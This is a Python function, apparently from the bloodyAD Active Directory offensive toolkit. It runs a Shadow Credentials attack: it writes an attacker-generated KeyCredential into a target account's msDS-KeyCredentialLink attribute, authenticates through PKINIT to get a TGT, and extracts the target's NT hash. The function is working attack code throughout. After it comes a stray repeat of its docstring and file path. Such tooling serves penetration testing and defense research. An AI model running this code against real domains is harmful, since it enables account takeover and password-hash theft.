def shadowCredentials(conn, target: str, path: str = "CurrentPath"):
    """
    Add Key Credentials to target (try to find a suitable DC if provided DC is below Win2016), and use those credentials to retrieve a TGT and a NT hash using PKINIT.

    :param target: sAMAccountName, DN, GUID or SID of the target
    :param path: filepath for the generated credentials (TGT ccache or pfx if PKINIT fails)
    """

    dc_dict = collections.defaultdict(dict) 
    # Check if KeyCredential is supported on current DC or find alternative DC
    for dc_info in conn.ldap.bloodysearch("CN=Sites,"+conn.ldap.configNC, "(|(objectClass=nTDSDSA)(objectClass=server))", search_scope=Scope.SUBTREE ,attr=["msDS-Behavior-Version","msDS-HasDomainNCs","objectClass", "dNSHostName"], raw=True):
        if b"nTDSDSA" in dc_info["objectClass"]:
            parent_name = dc_info["distinguishedName"].split(",", 1)[1]
            dc_dict[parent_name]["version"] = int(dc_info["msDS-Behavior-Version"][0])
            dc_dict[parent_name]["domainNCs"] = dc_info["msDS-HasDomainNCs"]
        elif b"server" in dc_info["objectClass"]:
            dc_dict[dc_info["distinguishedName"]]["hostname"] = dc_info["dNSHostName"][0].decode()
    has_KeyCredential = True
    alt_servers = []
    for dn,dc_info in dc_dict.items():
        if dn == conn.ldap._serverinfo["serverName"]:
            if dc_info["version"] < 7:
                has_KeyCredential = False
            else:
                break
        elif dc_info["version"] > 6 and conn.ldap.domainNC.encode() in dc_info.get("domainNCs"):
            alt_servers.append(dc_info["hostname"])

    # If server in forest but not domain with keycredential support, can it be used?
    if not has_KeyCredential:
        LOG.warning(
            "[!] This DC does not seem to support KeyCredentialLink"
        )
        if not alt_servers:
            LOG.error("[!] No DC with Windows Server 2016 or higher found on this domain, operation aborted")
            return

        LOG.info(f"[*] Attempting alternative DCs with KeyCredentialLink support: {alt_servers}")
        record_list = []
        for srv_name in alt_servers:
            record_list.append({"type": ["A"], "name": srv_name})
        host_params = asyncio.get_event_loop().run_until_complete(ldap.findReachableServer(record_list,conn.conf.dns,conn.conf.dcip, [389,636]))
        if not host_params:
            LOG.warning(
                f"[!] No reachable alternative DC found, try to provide one manually in --host or a dns server with --dns"
            )
            return
        schemes = {389: "ldap", 636: "ldaps", 3268: "gc", 3269: "gc-ssl"}
        conn = conn.copy(
                scheme=schemes[host_params["port"]],
                host=host_params["name"],
                dcip=host_params["ip"],
            )

    target_dn = None
    target_sAMAccountName = None
    for entry in conn.ldap.bloodysearch(target, attr=["distinguishedName", "sAMAccountName"]):
        target_dn = entry["distinguishedName"]
        target_sAMAccountName = entry["sAMAccountName"]
    if path == "CurrentPath":
        path = target_sAMAccountName + "_" + "".join(
            random.choice(string.ascii_letters + string.digits) for i in range(2)
        )

    LOG.debug("[*] Generating certificate")

    key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = x509.Name.from_rfc4514_string(target_dn)
    cert = (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(subject)
        .serial_number(x509.random_serial_number())
        .public_key(key.public_key())
        .not_valid_before(datetime.datetime.utcnow())
        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
        .sign(key, hashes.SHA256())
    )

    LOG.debug("[*] Generating KeyCredential")

    keyCredential = cryptography.KEYCREDENTIALLINK_BLOB()
    keyCredential.keyCredentialLink_from_x509(cert)

    LOG.info(
        "[+] KeyCredential generated with following sha256 of RSA key: %s"
        % binascii.hexlify(keyCredential.getKeyID()).decode()
    )

    LOG.debug("[*] Updating the msDS-KeyCredentialLink attribute of %s" % target)

    key_dnbinary = common.DNBinary()
    key_dnbinary.fromCanonical(keyCredential.getData(), target_dn)
    conn.ldap.bloodymodify(
        target_dn,
        {"msDS-KeyCredentialLink": [(Change.ADD.value, str(key_dnbinary))]},
    )

    LOG.debug("[+] msDS-KeyCredentialLink attribute of the target object updated")

    pfx = serialization.pkcs12.serialize_key_and_certificates(
        name=target_dn.encode(),
        key=key,
        cert=cert,
        cas=None,
        encryption_algorithm=serialization.NoEncryption(),
    )
    pfx_base64 = parse.quote(base64.b64encode(pfx).decode('utf-8'), safe="")

    client = None
    try:
        url = f"kerberos+pfxstr://{conn.conf.domain}\\{target_sAMAccountName}@{conn.conf.dcip}/?certdata={pfx_base64}"
        cu = factory.KerberosClientFactory.from_url(url)
        client = cu.get_client_blocking()
        tgs, enctgs, key, decticket = client.U2U()
    except Exception as e:
        pfx_path = path + ".pfx"
        with open(pfx_path, "wb") as f:
            f.write(pfx)
        LOG.error(f"[-] PKINIT failed on DC {conn.conf.dcip}, you must find a Kerberos server with a certification authority!")
        LOG.info(f"[+] PKINIT PFX certificate saved at: %s" % pfx_path)
        raise e
    finally:
        if client and client.kerberos_TGT:
            ccache_path = path + ".ccache"
            client.ccache.to_file(path + ".ccache")
            LOG.info('[+] TGT stored in ccache file %s' % ccache_path)
        # For the newconn opened if we had to use an alternative DC
        conn.ldap.close()
    
    return [{cred[0]:cred[1]} for cred in ticketutil.get_NT_from_PAC(client.pkinit_tkey, decticket)]

    Add Key Credentials to target (try to find a suitable DC if provided DC is below Win2016), and use those credentials to retrieve a TGT and a NT hash using PKINIT.

    :param target: sAMAccountName, DN, GUID or SID of the target
    :param path: filepath for the generated credentials (TGT ccache or pfx if PKINIT fails)
    
bloodyAD/cli_modules/add.py